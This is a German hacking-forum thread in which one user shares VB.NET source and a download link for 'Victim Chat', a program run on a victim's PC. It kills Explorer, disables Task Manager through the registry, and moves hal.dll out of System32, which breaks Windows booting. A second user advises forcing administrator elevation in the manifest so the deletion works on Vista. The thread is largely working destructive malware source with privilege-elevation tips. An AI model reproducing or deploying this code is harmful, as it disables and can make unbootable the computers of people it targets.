Victim Chat

[mainstream]

Hi
Ich habe einen kleinen Programm gemacht,mit dem man nicht mehr über das blöde .txt Dokument mit dem Victim chatten muss

Wenn ihr es startet,wird der explorer und der taskmanager(nur bei xp) gekillt.
mit f2 wird hal.dll(auch nur xp) gelöscht.
Wenn ihr auf f1 drückt,wird der task manager,die explorer.exe und die hal.dll wiederhergestellt und das Chat Fenster geht weg.




Also,an dieser Stelle hätte ich noch eine Frage.
Wie mache ich,dass bei Vista der task manager gekillt wird und die hal.dll gelöscht bzw umbenannt oder verschiebt wird?Dafür braucht man ja Admin Rechte-.-

Hier der Source Code,ist nichts besonderes =)
Edit:Link
http://rapidshare.com/files/263082313/Victim_Chat.exe

Public Class Form1

    
    Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
     
        Shell("taskkill /f /im ""Explorer.exe""")


        Dim regKey As Microsoft.Win32.RegistryKey = _
Microsoft.Win32.Registry.CurrentUser.CreateSubKey _
("Software\Microsoft\Windows\CurrentVersion\Policies\System")
        regKey.SetValue("DisableTaskMgr", 1)



    End Sub




    Private Sub RichTextBox1_TextChanged(ByVal sender As System.Object, ByVal e As System.EventArgs)

    End Sub



    Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
     
        If GetAsyncKeyState(113) Then
            System.IO.File.Move("C:\Windows\System32\hal.dll", "C:\Windows")
        End If

        If GetAsyncKeyState(112) Then

            Shell("Explorer.exe")
            Dim regKey As Microsoft.Win32.RegistryKey = _
   Microsoft.Win32.Registry.CurrentUser.CreateSubKey _
   ("Software\Microsoft\Windows\CurrentVersion\Policies\System")
            regKey.SetValue("DisableTaskMgr", 0)
            Shell("C:\Windows\Explorer.exe")
            System.IO.File.Move("C:\Windows\System32\hal.dll", "C:\Windows\hal.dll")
            End


        ElseIf GetAsyncKeyState(112) Then
            Shell("C:\Windows\Explorer.exe")
        ElseIf GetAsyncKeyState(112) Then
            End

        End If

    End Sub

    Private Sub RichTextBox2_TextChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles RichTextBox2.TextChanged

    End Sub
End Class

Credits:me,sonix

[Kaspersky]

Du kannst deinem programm adminrechte geben.
Geh mal Projekt>Eigenschaften>"Einstellungen für die Benutzerkontensteuerung anzeigen"

Eine der letzten zeilen:

<requestedExecutionLevel level="asInvoker" uiAccess="false" />

Musst du ersetzen mit

<requestedExecutionLevel level="requireAdministrator" uiAccess="false" />"

Grüße

[mainstream]

Hi Kaspersky
Ich habe es so gemacht,wie du es beschrieben hast,aber die hal.dll kann ich trotzdem nicht ändern <.<
Hat jemand eine Idee,wie ich das bewerkstelligen könnte?

[Kaspersky]

Hey,
Hmm dann liegt es aber nicht an der benutzerkontensteuerung.
Obwohl, weil das prog auf system daten zugreifen will, wird das da wohl nichts bringen.
"uiaccess" auf true setzten kannst du auch noch machen.

[Solaro]

Hey fettes thx von deinem Quellcode konnte ich gut was lernen^^!!!
Ja mal was neues würde ich sagen !